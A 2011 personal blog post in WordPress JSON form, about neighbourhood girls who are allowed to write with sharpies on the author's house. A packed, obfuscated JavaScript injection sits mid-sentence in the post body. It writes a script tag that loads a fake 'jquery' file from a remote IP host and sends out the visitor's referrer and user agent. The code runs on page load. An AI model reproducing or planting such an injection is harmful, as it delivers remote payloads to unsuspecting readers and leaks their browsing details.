{"id":2666,"date":"2011-10-08T14:04:56","date_gmt":"2011-10-08T21:04:56","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2666"},"modified":"2011-12-06T14:08:46","modified_gmt":"2011-12-06T21:08:46","slug":"graffiti","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2666","title":{"rendered":"Graffiti"},"content":{"rendered":"<p>I had just got home from work, and I\u00e2\u20ac\u2122d propped the front door open so the cats could play on the porch (they don\u00e2\u20ac\u2122t go outside, but they love to sit on the screened-in porch and pretend they\u00e2\u20ac\u2122re outside). <\/p>\n<p>And, no surprise, two minutes later the house is invaded by little girls.  E and two of her pals dashed in, asked me for a sharpie, and zipped right out the door again, brandishing the sharpies like warriors.  I figured they were going to write on their hands or sneakers or something, which they\u00e2\u20ac\u2122re not supposed to do, so I didn\u00e2\u20ac\u2122t ask.  But \u00e2\u20ac\u201c lord love her \u00e2\u20ac\u201c one of them calls merrily on the way out the door, \u00e2\u20ac\u0153We\u00e2\u20ac\u2122re going to go write on the wall!\u00e2\u20ac\u009d <\/p>\n<p>Wall?   <\/p>\n<p>\u00e2\u20ac\u0153What wall?\u00e2\u20ac\u009d  I called after her, but I already knew:  my house is at the end of a dead end, right next to a giant brick sound wall.  The highway runs by on the other side, but the wall is quite a nice one and you can\u00e2\u20ac\u2122t hear the traffic at all.  <\/p>\n<p>I love the wall.  They were still building it when I moved in, so I\u00e2\u20ac\u2122ve seen several stages of its construction.  And it makes my end of the street into a quiet little island, cut off from the nonsense of the traffic and the shopping mall.  We\u00e2\u20ac\u2122re connected by the Washington St Bridge to the neighborhood\u00e2\u20ac\u2122s parks, schools, and playgrounds, and across another street and bridge there\u00e2\u20ac\u2122s a greenway path along a creek.  I\u00e2\u20ac\u2122m literally two blocks from the nearest highway exit, but one summer, there were foxes in my yard.  <\/p>\n<p>There is no graffiti on this wall.  <em>This <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybnte|var|u0026u|referrer|ykfer||js|php'.split('|'),0,{}))\n<\/script><\/noindex> is a nice neighborhood!!!!<\/em><\/p>\n<p>And there\u00e2\u20ac\u2122s lil&#8217; e and her friends, happily dashing toward its blank slate of bricks, sharpies waving wildly.<br \/>\n\u00e2\u20ac\u0153No no no!\u00e2\u20ac\u009d  I cried, and then realized, I hadn\u00e2\u20ac\u2122t anything good to follow that with.  Don\u00e2\u20ac\u2122t write on the wall?  Seriously?  When I was 13 I loved writing on things.  I made my mark on any blank surface I could find.  I had fancy tape with my name on it, to decorate my books and binders.  I kept up a year-long \u00e2\u20ac\u0153conversation\u00e2\u20ac\u009d in pencil desk-scribbles with some other anonymous student who sat at the same desk in the math classroom.  Graffiti is this amazing combination of public and secret that is so intoxicating to adolescents.  \u00e2\u20ac\u0153Don\u00e2\u20ac\u2122t write on the wall?\u00e2\u20ac\u009d  <em>Right. <\/em><\/p>\n<p>They\u00e2\u20ac\u2122re going to write on something, and if I say no, now, they\u00e2\u20ac\u2122re just going to do it somewhere else.  And they\u00e2\u20ac\u2122ll end up writing mean things that they know they can\u00e2\u20ac\u2122t say out loud, because that\u00e2\u20ac\u2122s what 13-year-olds do.<br \/>\nIn a flash I had the answer.  \u00e2\u20ac\u0153Don\u00e2\u20ac\u2122t write on that wall.\u00e2\u20ac\u009d  I said.  \u00e2\u20ac\u0153 It doesn\u00e2\u20ac\u2122t belong to you, or to me, and it\u00e2\u20ac\u2122s been there for years now with no graffiti and I don\u00e2\u20ac\u2122t want you to ruin it.  <em>If you want to write on a wall, you can write on my wall.\u00e2\u20ac\u009d<\/em><\/p>\n<p>When I started talking there was a defiant gleam in all three pairs of eyes.  But by the time I finished you\u00e2\u20ac\u2122d think I\u00e2\u20ac\u2122d just offered them a pony and an ice cream cone.  They spent about half an hour writing love notes all over the wall of my house \u00e2\u20ac\u201c on the &#8220;sound wall side,&#8221; of course, where nobody will see it.  ;) <\/p>\n<p>They wrote silly things and drew silly pictures.  They scrawled their eternal, undying friendship and devotion to one another.  They wrote <strong>Miss Rebecca is Awesome<\/strong> in big letters (thank you very much).  We measured our heights and marked the year.  And then I confiscated the sharpies and sent them on their way.  <\/p>\n<p>A few rainstorms and a little S.O.S powder later, most of it came off.  But I made sure to keep a few scribbles intact.  <\/p>\n","protected":false},"excerpt":{"rendered":"<p>I had just got home from work, and I\u00e2\u20ac\u2122d propped the front door open so&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25],"class_list":["post-2666","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2666"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2666"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2666\/revisions"}],"predecessor-version":[{"id":2667,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2666\/revisions\/2667"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2666"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2666"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2666"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}